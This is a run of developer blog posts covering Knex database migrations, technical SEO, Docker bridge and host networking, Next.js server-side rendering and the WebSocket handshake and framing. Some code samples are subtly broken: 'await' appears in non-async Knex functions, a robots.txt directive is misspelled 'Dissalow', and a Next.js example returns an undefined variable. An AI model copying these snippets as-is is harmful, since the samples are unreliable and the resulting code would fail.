`psql -d postgres -U <user>`

And then execute the following queries:
```postgresql
CREATE DATABASE dev;
CREATE USER dev WITH ENCRYPTED PASSWORD 'dev';
GRANT ALL PRIVILEGES ON DATABASE dev TO dev;
```
Potentially we could also do this with Knex, but usually, since it is a one time job, it is done out of knex/application scope.


Now that we have a schema and user, we can populate the migration script as needed.
In our example we will just create a new table in `up` function and drop it in `down`.
```javascript
exports.up = function(knex) {
  await knex.raw(`CREATE TABLE test.test (coltest varchar(20))`);
};

exports.down = function(knex) {
  await knex.raw(`DROP TABLE test.test`);
};
```

To start the migration, we can execute
`knex migrate:latest`.   
To be double sure, we can list all migrations `knex migrate:list` and see their status.

In case something would go wrong, we could still rollback the latest migration with:
`knex migrate:rollback`


There are also other Knex commands based on a scenario we want to achieve ([ref](http://knexjs.org/#Installation-migrations)).

To rollback all the completed migrations:  
`knex migrate:rollback --all`  
To run the next migration that has not yet been run:  
`knex migrate:up`  
To run the specified migration that has not yet been run:     
`knex migrate:up 001_migration_name.js`  
To undo the last migration that was run:  
`knex migrate:down`  
To undo the specified migration that was run:   
`knex migrate:down 001_migration_name.js`



And that is pretty much it. We can add these commands to different scripts, like for example package.json, and execute them as needed. Or run them as part of different CI/CD pipelines.




# Database Schema Migrations (with Nodejs)

# Technical Search Engine Optimization

Search Engine Optimization (SEO) is changing and evolving every year.
SEO concepts that used to work a couple of years ago might no longer be effective today.

Search engines change their algorithms quite frequently, and with new development trends, like 
Single Page Application (SPA),
Progressive Web Apps (PWA), 
Accelerated Mobile Pages (AMP), 
API-First Approach (AFA), SEO becomes more complex. 
Additional considerations have to be kept in mind to achieve 
a good search engine rating, 
and additional development effort might be needed.


In this article, I will not be explaining details of how SEO works.
Enough has been written about it, and if you just search online for "how SEO works", you will find plenty of articles and documentation (I would go for the first result. Most likely, it has the best SEO behind it :) ).
Here, I will try to explain the main concepts to achieve a good web application 
SEO and focus on technical considerations we have to consider when we develop a web application. 

## Problems
On dynamic web applications, content is dependent on client Javascript rendering and API calls before users or robots can see the full content of the page. 
If the page isn't rendered properly (in full), then the search engines like Google and Bing will not include this page in the search results (also social sharing might not work as expected). 
Social links could be rendered like this: (add an image from Supernut)

Main SEO issues with JavaScript pages:
1. Slow and complex indexing process  
2. Errors in JavaScript code/"robot (browser) compatibility". In Google's case, robots use the latest Chromium version as a rendering engine.
3. Exhausted crawling budget/"page load times"
   	- Images are one of the main culprits of slow pages!

## How Search Robots Work
To solve these problems, first, we need to understand how Search Engine Robots work.
Fundamentally, search robots or crawlers will follow the links, sitemaps, and redirects. 

When they find the link, the following happens:
- First, the HTML gets downloaded.
- Links get extracted.
- CSS gets downloaded.
- JavaScript resources get downloaded.
- JavaScript and DOM get rendered.
- API calls are made and rendered.
- Application/Page gets assembled.
- And finally, the search engine will index/store and rank this page.

This approach might be slightly different for different search engines, but this roughly describes Google's approach.

Currently, Google is still on top of the most used search engines with the rest following a bit further behind (this does not mean we should not consider them - remember Yahoo in 2000 :) ) 

Top search engines today and their market share:

1. Google ~75% on websites and ~90% on mobile
2. Bing ~12% on websites and ~1% on mobile
3. Baidu ~8% on websites and ~4% on mobile
4. Yahoo! ~3% on websites and ~1% on mobile
5. Yandex >1% on websites and >1% on mobile
6. Ask >1% on websites and >1% on mobile
7. DuckDuckGo >1% on websites and >1% on mobile
8. Naver >1% on websites and >1% on mobile

## Solutions
There are different solutions in place for different web architectures and frameworks.
A common approach today, for good SEO, is the Server-Side Rendering (SSR) and Statically Generated Pages (in Part 2 of this blog I will go into technical details on how to achieve SSR with Nextjs and React).

### Server Side Rendereding (SSR)
Pre-rendering or server-side rendering (SSR) is the process of rendering JS and API resources on the server and then serve them completely rendered. 
This is a good solution for large dynamic web apps like e-commerce, where content is frequently changing, and the data displayed depends on different API calls.

There are different tools and frameworks available to achieve that:
   - frameworks like [Nextjs](https://github.com/vercel/next.js) or [Angular Universal](https://angular.io/guide/universal)
   - and tools like [Rendertron](https://github.com/GoogleChrome/rendertron) or [Puppeteer](https://github.com/puppeteer/puppeteer)

### Statically Generated Pages
The process of rendering the pages at build time and then serve it, is called the "Static generation". Once we have generated these pages, we can store these files independently and redirect search engine robots there.
   - a service like [prerender.io](https://prerender.io/) might be a good solution for this in case we don't want to host files ourselves (here, we have to consider the cost)
   - or we can use a framework like [Gatsbyjs](https://www.gatsbyjs.com/) which will pre-render the pages at build time and serve it from your server (a good solution for "static" web applications, which do not change frequently)
     
### General SEO Considerations
In addition to rendering, for every web application, we have to consider the proper configuration/setup of the following resources within our project:

**robots.txt**   
This file informs search engine robots on directives and URL's/paths in your app. It should be located in the root of your project and it should be configured carefully. More details about its configuration can be found [here](https://support.google.com/webmasters/answer/6062608?hl=en).  

Example of robots.txt file:
```
User-Agent: *
Dissalow: /admin/*

Sitemap: <path>/sitemap.xml
```


**SITEMAPS**   
Sitemap file (sitemap.xml) contains information about all the paths/routes in our web application.
It needs to be generated accordingly to the web application and stated in the robots.txt file.
We can achieve a sitemap generation with tools like [sitemap-generator](https://www.npmjs.com/package/sitemap-generator).

**META TAGS**   
The search meta tags instruct search engine robots on how to index our web application in a more granular way (per page).   
They are located within the `<head>` of the HTML of our web application.   
The most common tags are:   
- `index/noindex` tells the engines whether the page should be crawled and kept in a search engine's index for retrieval.
- `follow/nofollow` tells search engines whether links on the page should be followed or not followed.
- `noarchive` is used to restrict search engines from saving a cached copy of the page.

e.g.:
`<meta name="robots" content="index,follow"/>`

**KEY TERMS**   
Key terms describe the application's content in a couple of words.
When building your web application, it's a good idea to do a bit of research and analysis and use key terms that your users use to search for your type of content.  

e.g.:`<meta name="keywords"
        content="nutrients,recipes,healthy,health,sports, nutrition,nutritional,micronutrients,macronutrients"/>`

**ACCURATE PAGE TITLES**   
A page title is visible in the browser's title bar and search results. They match the content of your documents. Users are more likely to click a link if the title matches their search and the search index might also be affected if titles are not corresponding with the page.

Example of dynamic title: `<title ng-bind="meta.title"></title>`

**AVOID TEXT IN IMAGES**   
Keep relevant text and links in HTML. Encoding your text in graphics or [image maps](https://www.w3schools.com/html/html_images_imagemap.asp) can prevent search engines from finding the text or following links to your website's other pages.

**ALT TEXT FOR IMAGES**   
ALT text improves the searchability of the image content of your pages. It also makes your pages more accessible to text-only browsers and visually impaired site visitors.

Example of alt attribute: `<img src="carrots.gif" alt="Carrots">`

**MEANINGFUL CROSS-LINKS**   
Meaningful links between your web application and other related websites or providers of relevant content add value to users and can boost your ranking.

**READABLE URL'S**   
Use URL's that represent the content pages instead of numeric or otherwise cryptic URL's.

**IMAGE/CONTENT OPTIMIZATION**
   - Make images responsive with the attribute `srcset` and deliver the best image size for each device.  
   	Example of responsive image: 
```
<img srcset="carrots-480w.jpg 480w,
             cacrrots-800w.jpg 800w"
     sizes="(max-width: 600px) 480px, 800px"
     src="carrtos-800w.jpg"
     alt="Carrots">
    
```  

    
   - Show visitors that image loading is in progress with lazy loading
   - Improve speed by compressing and bundling your files

To prevent search engines from indexing multiple versions of a single page,
Google recommends having a self-referencing canonical tag on every page on your web application (https://developers.google.com/search/mobile-sites/mobile-seo/)


## Testing
Quite often the owners of web applications are not even aware of issues with their web application rendering and responsiveness.
That is why it is important to test and analyze your web application as search engine robots might see it.
Bear in mind that search engines might take a week or two for your page to be indexed.
You can speed up this process a bit by submitting a sitemap to search engines and forcing reindexing   
      - how to do it for [Google](https://support.google.com/webmasters/answer/183668?hl=en)   
      - how to do it for [Bing](https://www.bing.com/webmaster/help/how-to-submit-sitemaps-82a15bd4)   
      - how to do it for [Baidu](https://ziyuan.baidu.com/linksubmit/url)   

Couple of things to check:

1. Most search engines today claim that they are able to process the JS web application. But in reality the way they do it is still different than the web clients do it.
For example, Google robots process JS in the second pass (page rendering is not instant).
So it is good to check how robots can render your website without JS
      - [Disable Javascript in the browser and load the page](https://developers.google.com/web/tools/chrome-devtools/javascript/disable). 
      This is especially important if you are using the pre-rendering approach.
      - [Load the web application in the incognito mode](https://support.google.com/chrome/answer/95464)
      - You should expect content to be readable/visible

2. Check how your web application is indexed
      - in search console type `site:your-domain.com` (add an image with example)
      - if your page has been crawled by robots you should expect to see all the sub-links as stated in the sitemap in the results
      - [URL Inspection Tool](https://support.google.com/webmasters/answer/9012289)

3. Analyse web application
      - [Check page rendering times](https://developers.google.com/speed/pagespeed/insights/)
      - [Check mobile friendliness](https://search.google.com/test/mobile-friendly)
      - [Quality guidelines check](https://support.google.com/webmasters/topic/6001971?hl=en&ref_topic=6001981)

4. Check SEO ranking:
	- [rankingcheck](https://www.seobility.net/en/rankingcheck/)
	- [seo-analyzer](https://neilpatel.com/br/seo-analyzer/)


# Conclusion
For effective SEO, we have to keep in mind that different software architecture might require different approaches. 
If you have the luxury of including SEO concepts into your architecture, dynamic pre-rendering with frameworks like Nextjs or Gatsbyjs might be the best. 
In case your application can't include new frameworks in their architecture, there are still solutions that can sit on top or next to your application like Prerender or Puppeteer.  
This is a solid start to  make your web page visible to most of the robots and crawlers and a good start towards being visible online.

**References and links:**   
- Google 
      - https://developers.google.com/search/docs/guides/get-started   
      - https://support.google.com/webmasters/answer/35769?hl=en
      - https://developers.google.com/search/reference/robots_meta_tag   
      - https://support.google.com/webmasters/answer/6062596?hl=en   
      - https://static.googleusercontent.com/media/guidelines.raterhub.com/en//searchqualityevaluatorguidelines.pdf
- Bing       
      - https://www.bing.com/webmaster/help/getting-started-checklist-66a806de   
      - https://www.bing.com/webmaster/help/webmaster-guidelines-30fba23a
- Baidu
      - https://ziyuan.baidu.com/https/index (only Chinese)   
      - https://www.dragonmetrics.com/how-to-optimize-your-site-with-baidu-webmaster-tools/#https-migrate   
- Yahoo
      - https://help.yahoo.com/kb/higher-website-rank-sln2216.html   
- Mozilla
      - https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images   


# Technical Search Engine Optimization

# Docker Networking Practical Examples

A lot has been written about Docker networking, but there is not a lot of practical examples out there.  
So I decided to try to clarify it with a couple of Docker networking examples.
Note: this blog is referring to Docker version 19.03.13.

---
## Quick Overview of Docker Networking

First, let us have a quick overview of [Docker networking](https://docs.docker.com/network/).  
Docker has different networking drivers:  
- `bridge`: the default network driver,  
- `host`: for standalone containers,  
- `overlay`: Used in Docker swarm,
- `macvlan`: Works on MAC addresses assigned to containers,  
- `none`: Networking is disabled,  
- Network plugins: Third-party network plugins with Docker.
    
Here we will mainly focus on bridge networking driver since it allows us to connect two or more containers together and it gives us the most flexibility/functionality in terms of networking.  
I will not go into the details of Docker networking. It is quite well documented in Docker [documentation](https://docs.docker.com/network/bridge/).
Here I will just quickly summon up a couple of points.  

**Port Publishing**  
When you create or run a container, Docker by default does not publish any of its ports to the host network. 
To achieve that we need to publish the ports with `--publish` or `-p` flag. This will create a firewall rule which maps a container port to a port on the host network. 

**IP address and hostname**  
Each container gets an IP address in every Docker network it is attached to.  The Docker daemon has its own DHCP server which is in charge of assigning the IP's from the subnet range.
Each network also has a default subnet mask and gateway.

By default, when a container starts, it can be connected to only one network with `--network` flag. We can also assign it either IPv4 or IPv6 address with `--ip` or `--ip6` flags.  
Later, we attach container to different networks with:   
`docker network connect [OPTIONS] NETWORK CONTAINER`.   

**DNS services**  
A Docker container inherits the DNS settings of the host, from `/etc/resolv.conf` configuration file.  
Containers that use the default bridge network get a copy of this file, 
whereas containers that use a custom/named network use Docker's embedded DNS server,
which forwards external DNS lookups to the DNS servers configured that custom/named docker network.



A container's hostname is by default the container's ID in Docker. 
We can override it with `--hostname` or use the `--alias` flag to specify an additional network alias for the container on that network.  
 
There are also certain limitations on each of the operating systems which we need to be aware of:
- [MacOS](https://docs.docker.com/docker-for-mac/networking/)
- [Windows](https://docs.docker.com/docker-for-windows/networking/) 
    
## Practical Examples
Let us take as an example a most common scenario with two interacting services (_CLIENT_ and _SERVER_) running locally on our computer without Docker. Here we focus on only two containers but we can easily apply the same configuration to additional services.  

While these two services run on your computers network, they can communicate over a local _HOST_ network (localhost or 127.0.0.1
) as seen in the below image

_CLIENT_ (localhost:3000) <=> _SERVER_(localhost:9000)  
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
_HOST_/COMPUTER (localhost:3000; localhost:9000)
        
On our `localhost`, user can access _CLIENT_ on localhost:3000, and _CLIENT_ can 
access _SERVER_ API on port localhost:9000.

Now we want to Dockerize these two applications, and here, the story begins ... 

By default, Docker uses its own network, so we can no longer point _CLIENT_ to _SERVER_ on localhost:9000. 
Each container will have its own IP, and each container has to be configured in a way that services can still be accessible. 
So let us look at a couple of solutions we can use to solve this mystery.

---

### Named Network  
Docker by default uses **bridge** networking subsystem. When a service starts in the docker container, it will be in that network, unless specified differently.  

Containerized application/service can no longer point to localhost/127.0.0.1.
Docker will start containers with, for example 172.17.0.x.   
So our _CLIENT_ in new Docker image should point to for example 172.17.0.2:9000.  
Here comes a catch. The 172.17.0.2 IP address is internal to the Docker engine. 
This IP is dynamic, and it might change. Also, we need to update or make it configurable where our services are pointing to (for, e.g. database connections, REST API's...) 
To get around that, we can do the following: 
- `docker network create --driver=bridge next-net` we have to create a new user-defined network. 
Bear in mind named bridge network is not the same as the default bridge network, it has automatic DNS resolution...
- `docker run -d --name=next-blog-api --net=next-net -p 8888:9000 next-blog-api`  start the _SERVER_ with mapped port (our service is running on port 9000 inside of the container) and we give it a name, so a random name is not allocated to that container
- `docker run -d --net=next-net -p 3002:3000 next-blog`  start the _client_ on the same network (service inside of this container should now be pointing to http://next-blog-api:9000)

Here we created a new network and linked our containers to them. We used "named bridge network" which creates a DNS record for next-blog-api.
Now we are able to connect Dockerized _CLIENT_ to Dockerized _SERVER_ API on http://next-blog-api:9000.  
And dockerized _SERVER_ and client will also be available on the _HOST_ from http://localhost:3002 and http://localhost:8888.
    
    (Docker 172.19.0.3:3002/3000 (_CLIENT_ (172.19.0.3:3000)) <=> (Docker 172.19.0.2:8888/9000 (_SERVER_(172.19.0.2:9000)))  
                            _HOST_(localhost:3002; localhost:8888)

There is a couple of things we need to be aware regarding Dockerfile and docker `run` command:

- in Dockerfile when you `EXPOSE` a port, that signals to a hosting service that it needs to bind to this port to access the service running inside. 
For example, if we do not `EXPOSE` port, platform like Azure might assume that application inside is running on default web port 80, which will cause connection failure.

- and when you use `docker run -p ...` flag, that makes it accessible outside of Docker network



### Host Network (Only for Linux)
Another solution would be we to run Docker on the host network. This is not the best solution since the host network is meant mainly for standalone containers, but it is still good to be aware of it. 
Here again, we have a couple of gotchas: 
- published ports are discarded when using host network mode (we can't specify a different port for that container. We can't map ports as we did in bridge network with `-p 9001:9000`.
- it works only on Linux as stated [here](https://docs.docker.com/network/host/)
- container will take the namespace and port of the host 
   - `docker run -d --network=host next-blog-api`  
   - `docker run -d --net=host next-blog`  

    _CLIENT_ (localhost:3000) <=> _SERVER_(localhost:9000)  
        _HOST_ (localhost:3000; localhost:9000)
        
### Links (for Docker Engines Before 1.9 Version)  

In case you are running a version of Docker before 1.9, and you should manually create links between the containers (using the legacy --link flag).   
These links need to be created in both directions, so you can see this gets complex with more than two containers which need to communicate.   
Alternatively, you can manipulate the /etc/hosts files within the containers, but this creates problems that are difficult to debug.  

e.g.: 
`docker run -d -p 3002:3000 next-blog`
`docker run -d -p 8888:9000 next-blog-api --link=next-blog:next-blog`

---
---
---
We can see that there are quite a few solutions. First one being optimal, but it depends on your scenario which one will work for you.
Also, in testing/production environments, we would most likely use some orchestration tool like Docker-swarm or Kubernetes, where Docker images would communicate over the overlay networks. 
I will not go into details of configuring the managed Docker network, but on generally there is a couple of guidelines we could follow to avoid having connection issues:
- we have to make sure that correct ports are open and nothing is blocking them 
- enable forwarding from Docker containers to the outside world (that is on the Linux host machine)
- You need the following ports open to traffic to and from each Docker host participating on an overlay network:
            - TCP port 2377 for cluster management communications
            - TCP and UDP port 7946 for communication among nodes
            - UDP port 4789 for overlay network traffic 
 - ...

## Troubleshooting
There can be loads of different scenarios where we could have an issue connecting containers. 
So it is best to know how to do some general Docker networking troubleshooting.  
We can troubleshoot docker network with the following commands:   
    
- `docker network ls` will display a list of currently defined networks
- `docker network inspect <network name>`  will give us details (IP's, gateways, subnets) of the specific network.
- `docker inspect <container id>`  will give us details of the specific container (including networking details)
    
        #add an image of a screenshot here

It can also be useful to create a "debug container" and run some networking commands:
```
echo '
FROM ubuntu:16.04
RUN apt update && apt install -y arp-scan iputils-ping iproute2
CMD ["/bin/bash"]' > Dockerfile
docker build . -t net-tool
docker run -it net-tool
ip addr show #run inside of container
arp-scan --interface=eth0 --localnet #run inside of container
```

If you have any better troubleshooting solutions, feel free to post it in the comments. 
    
And that is all folks. Happy dockering!!

# Docker Networking Practical Examples

# Dynamic Pre-Rendering With ReactJS and NextJS

In the previous blog, [Technical Search Engine Optimization](https://medium.com/patrik-bego/technical-search-engine-optimization-717ccc73aa8b),
 I described concepts and ways to achieve good Search Engine Optimization. 
 In this blog, I will explain how to achieve that with Reactjs / Nextjs Server-Side Rendering (SSR).
 [Reactjs](reactjs.com) and [Nextjs](nextjs.com).

For our POC, we will build a Blog web-app which will read the data from Node.js Rest API and pre-render React.js 
components with Next.js on the client-side. We will mainly focus on what solutions Nextjs provides us, so it is kind of 
expected you have a basic Javascript knowledge and are familiar with tools like `npm`. 

You can have a look at the project on [GitHub](https://github.com/patrikbego/react-prerendering), and if you want to run it locally, you can pull the code and start Node.js server with the command:  
`node demo-node-server/post-api.js`

This will start a server on http://localhost:8080 and expose basic Rest API.

To run the Next.js server and client, execute in the command line:  
`npm run start` (for debug mode: `npm run dev`)  

That will start the server, and you should be able to open the web-app in the browser on  http://localhost:3000.

Alternatively, you can create a new npm project with: `npm init`.
Add below dependencies into packages.js, and you will have a base React/Next.js project.
```json
"dependencies": {
    "next": "^10.0.3",
    "react": "^16.13.1",
    "react-dom": "^16.13.1",
  }
```

#### Next.js project structure
Before we dive into the code, let us just quickly go through a couple of Next.js guidelines that we have to follow.  
Next.js is a framework, and for it to work as intended, it needs specific project structure. The minimum required is "./pages" directory and "index.js" file in it.  
If you were to create overrides for your app or document, then you can do that inside "_app.js" and a "_document.js" files (also inside the "./pages" folder). The "./public" directory is another folder that Next.JS looks into for static files to be emitted into the final build directory.

Our project structure looks like this:
```
.
├── README.md
├── demo-node-server
│   ├── README.md
│   ├── package-lock.json
│   ├── package.json
│   ├── post-api.js
│   └── posts
│       ├── best-practices-in-life.md
│       └── break-the-bad-habits.md
├── jest.config.js
├── package-lock.json
├── package.json
├── src
│   ├── api
│   │   ├── internalPost.js
│   │   ├── posts.js
│   │   ├── posts.test.js
│   │   ├── user.test.js
│   │   └── users.js
│   ├── components
│   │   ├── dateLabel.js
│   │   ├── dateLabel.test.js
│   │   ├── layout.js
│   │   ├── layout.module.css
│   │   ├── layout.test.js
│   │   ├── mainList.js
│   │   ├── mainList.test.js
│   │   ├── shareFooter.js
│   │   ├── shareFooter.module.css
│   │   ├── shareFooter.test.js
│   │   └── testComponent.js
│   ├── pages
│   │   ├── _app.js
│   │   ├── index.js
│   │   └── posts
│   │       └── [id].js
│   └── styles
│       ├── global.css
│       └── utils.module.css
├── public
│   ├── favicon.ico
│   └── images
│       └── profile.jpg
└── tests
    ├── __mocks__
    │   ├── fileMock.js
    │   └── styleMock.js
    ├── index.test.js
    └── setupTests.js

```
`Pages` folder should be located in either root folder or src, but not not on both locations.

#### Next.js features (used in this demo)
Next.js has quite a few features. Here we will mainly focus on the retrieving dynamic content from the server and rendering it. For that, we will use the following:

**Routing**  
Routing is Next.js can be achieved easily with placing a js file into ./pages directory. That will automatically expose it as a route (no additional configuration is needed).  
For e.g. pages/about.js will be accessible as <host>/about.
We also need to have main index.js file which is exposed under root (/).
In our case, index.js (code below) contains pure React components and Next.js method `getServerSideProps`. This method is crucial for providing dynamic content on Next.js server and rendering the content of a page.

```javascript
export default function Home({postsData, blogger}) {
  return (
    <Layout postsData home user={blogger}>
      <Head>
        <title>{blogger.siteTitle}</title>
      </Head>
      <section className={utilStyles.headingMd}>
        <p>{blogger.about}</p>
      </section>
      <section className={`${utilStyles.headingMd} ${utilStyles.padding1px}`}>
        <h2 className={utilStyles.headingLg}>Blog</h2>
        <MainList postsData={postsData}/>
      </section>
    </Layout>
  )
}

export async function getServerSideProps() {
  let allPostsData = await getSortedPostsData();
  let blogger = await getUserData('blogger.nr1'); 
  return {
    props: {
      postsData,
      blogger
    }
  }
}
```
&nbsp;
Data fetching
In the above code snippet, we dynamically fetched the content/props from the Rest API with `getServerSideProps` 
method and passed it to the component which can then be pre-rendered for the client.  
But data fetching in Next.js can be achieved in a couple of ways, depending on use case and content.
For this, Next.js has the following methods which can be added to the component:
- `getStaticProps` method provides the content which is rendered at build time. That is useful if the content of a page does not change often, and it is faster than `getServerSideProps`.
- `getStaticPaths` method provides the routes which are rendered at build time in combination with `getStaticProps`. It defines a list of paths that have to be rendered at build time.
- `getServerSideProps` method provides the content which is rendered at request time. It is slower than `getStaticProps` but in the case of retrieving the dynamic content from the Rest API that is the way to do it.
- note that `getServerSideProps` runs on the server-side of Next.js. We can access the database or filesystem directly from the method.

In our example above, we get all the "blog" content and all the information about the blogger from the Rest API (`demo-node-server`) as postsData and blogger objects linked to the component.
That data is then listed in the `Layout` component inside of `MainList`. Here we use another react component,`Link`, which redirects the page to the blog content retrieved from the Node server.
  
```javascript
    <Link href="/posts/[id]" as={`/posts/${id}`}>
      <a>{title}</a>
    </Link>
```
Once the link is clicked we handle it with "dynamic routing".

**Dynamic routing**  
Dynamic routing is another Next.js method of exposing routes dynamically.
In our case that is pretty handy since routes are based on the posted blogs. 
For e.g. file pages/posts/[id].js will parse the content for each specific blog and expose 
it as posts/best-practices-in-life, posts/break-the-bad-habits, etc.
  ```javascript
export default function Post({postData, blogger}) {
   return (
     <Layout user={blogger}>
       <Head>
         <title>{postData.title}</title>
       </Head>
       <article>
         <h1 className={utilStyles.headingXl}>{postData.title}</h1>
         <div className={utilStyles.lightText}>
           <DateLabel dateString={postData.date}/>
         </div>
         <div dangerouslySetInnerHTML={{__html: postData.contentHtml}}/>
       </article>
       <ShareFooter postData={postData}/>
     </Layout>
   )
 }
 
 export async function getServerSideProps({params}) {
   console.log(params);
   const postData = await getPostData(params.id)
   let blogger = await getUserData('blogger.nr1'); //TODO hard coded for now
   return {
     props: {
       postData,
       blogger
     }
   }
 }
```
In above snippet we can see that the `id` has been passed from the URL to the `getServerSideProps` method, 
and based on that blog data is fetched from Node server.


**Built-In CSS Support**  
In Next.js we can  conveniently import the main CSS file inside of ./pages/_app.js.
CSS files with the same name as JS files [name].module.css can be used for automatic component level import.

Next.js has quite a few additional actions for CSS which can be found [here]https://nextjs.org/docs/basic-features/built-in-css-support.

**Image Optimization**  
Next.js automatically optimizes an image being served to the client (since version 10.0.0). It optimizes and resizes image based on the viewport.
It allows us to define internal/local or external (cmd ...) images.
Definition for external images has to be defined in next.config.js:
```javascript
module.exports = {
  images: {
    domains: ['assets.com'],
  },
}
```

That is pretty much all the features we need for a good search engine rendering. We should still address topics mentioned in the previous [blog](https://medium.com/patrik-bego/technical-search-engine-optimization-717ccc73aa8b) and invest some effort into non-technical SEO, and our web-app should be ready for the world ;)


# Dynamic Pre-Rendering With ReactJS and NextJS

# WebSockets

WebSockets are a powerful communication protocol that enables real-time, two-way communication between applications. 
They are commonly used in applications such as chat systems, gaming platforms, 
and other scenarios that require immediate data exchange.  

A WebSocket server is an application that listens on a TCP port and follows the RFC 6455 protocol, 
which defines the WebSocket standard. You can implement a WebSocket server using any server-side programming 
language that supports Berkeley sockets (also known as BSD sockets or POSIX sockets).

### The key advantages of using WebSocket for communication are:

**Two-way Communication:   **
With WebSockets, the server can initiate communication and send messages to clients at any time. Unlike traditional HTTP requests, where clients have to poll the server regularly for updates, WebSockets allow clients to establish a connection and listen for incoming messages from the server. This enables real-time updates and eliminates the need for constant polling.

**Lower Overhead per Message:  ** 
In scenarios with high traffic between the client and server, WebSockets have lower overhead per message compared to traditional HTTP requests. Once the WebSocket connection is established, messages can be sent over the existing TCP connection without the need to establish a new connection for each message. In contrast, HTTP requests require multiple round trips for connection establishment, which adds overhead, especially when using SSL/TLS.

**Higher Scalability:    **
Due to the lower overhead and elimination of client polling, WebSocket-based applications can achieve higher scalability. The reduced network traffic and server load allow a single server to serve a larger number of connected clients. However, WebSocket scalability also depends on factors such as server capacity and resource availability.

**Stateful Connections:   **
WebSocket connections are inherently stateful, meaning you can store and manage connection-specific state on the server without relying on cookies or session IDs. While stateless connections are commonly used in modern development practices, there are situations where having a stateful connection simplifies the application logic.

### The key disadvantages of using WebSocket for communication are:

**Scalability Challenges:**   
At large scales, particularly with hundreds of thousands of connected clients, special server configurations and optimizations may be necessary to handle the increased WebSocket connections efficiently.

**Client and Toolset Support:**  
Not all clients and toolsets provide the same level of support for WebSockets as they do for HTTP requests. Ensure that the clients you are targeting can effectively work with WebSockets before adopting them.

**Server Environment Limitations:** 
Some server environments, particularly less expensive or shared hosting environments, may not support the long-running server processes required to handle WebSocket connections. Verify that your server environment can handle WebSocket connections effectively.

**Use Case Specificity:**. 
If your application requires progress notifications sent to clients, you have options to achieve this using either long-running HTTP connections or WebSockets. WebSockets might be more convenient in such cases. However, if you only need WebSockets for a specific activity's short duration, using WebSockets solely for pushing data and relying on HTTP requests for regular request/response activities could provide the best trade-off.


## How WebSocket Works
### The WebSocket handshake:
The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets and it uses the same process/path
as any HTTP request to establish a connection (8 back and forward calls between client and server).  

### Client handshake request
First the client will try to establish http connection with the server.
All the http rules apply here. Client can send different headers like cookies, origin, authorization ...
Example: 
```http request
GET /chat HTTP/1.1
Host: example.com:8000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
```   

### Server handshake response
When the server receives the handshake request, it should send back a special response that indicates that the protocol 
will be changing from HTTP to WebSocket.
Example: 
```http request
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
The Sec-WebSocket-Accept header is important in that the server must derive it from the Sec-WebSocket-Key 
that the client sent to it. 
To get it, concatenate the client's Sec-WebSocket-Key and the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" 
together (it's a "magic string"), take the SHA-1 hash of the result, and return the base64 encoding of that hash.
All the http rules still apply here. Server can respond with all http headers. Like cookies, cache-control ...

NOTE: The server must keep track of clients' sockets, so we don't keep handshaking again.

### Connection established: Exchanging data frames
Client or the server can choose to send a message at any time. 
To extract the information from these so-called "frames" of data the same specific format is being used. 
Data going from the client to the server is masked using XOR encryption (with a 32-bit key). 
```http request
Frame format:

      0                   1                   2                   3
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     +-+-+-+-+-------+-+-------------+-------------------------------+
     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
     | |1|2|3|       |K|             |                               |
     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
     |     Extended payload length continued, if payload len == 127  |
     + - - - - - - - - - - - - - - - +-------------------------------+
     |                               |Masking-key, if MASK set to 1  |
     +-------------------------------+-------------------------------+
     | Masking-key (continued)       |          Payload Data         |
     +-------------------------------- - - - - - - - - - - - - - - - +
     :                     Payload Data continued ...                :
     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
     |                     Payload Data continued ...                |
     +---------------------------------------------------------------+

```
Based on this format decoding/encoding of transferred payloads happen.

### Pings and Pongs: The Heartbeat of WebSockets
At any point after the handshake, either the client or the server can choose to 
send a ping to the other party. When the ping is received, the recipient must send 
back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.
A ping or pong is just a regular frame, but it's a control frame. 
Pings have an opcode of 0x9, and pongs have an opcode of 0xA. When you get a ping, 
send back a pong with the exact same Payload Data as the ping (for pings and pongs, 
the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.

### Closing the connection
To close a connection either the client or server can send a control 
frame with data containing a specified control sequence to begin the closing handshake



**You can find a standalone Java server and simple Javascript client here:** 
https://gist.github.com/patrikbego/447c40f8eaee709d7a6a2d2cadbfd046 
https://gist.github.com/patrikbego/acd1eb069195c78d9db7edb8a0eb6a3c 

Refs:
https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers
https://stackoverflow.com/questions/29925955/what-are-the-pitfalls-of-using-websockets-in-place-of-restful-http
https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java


Algo Cheat Sheet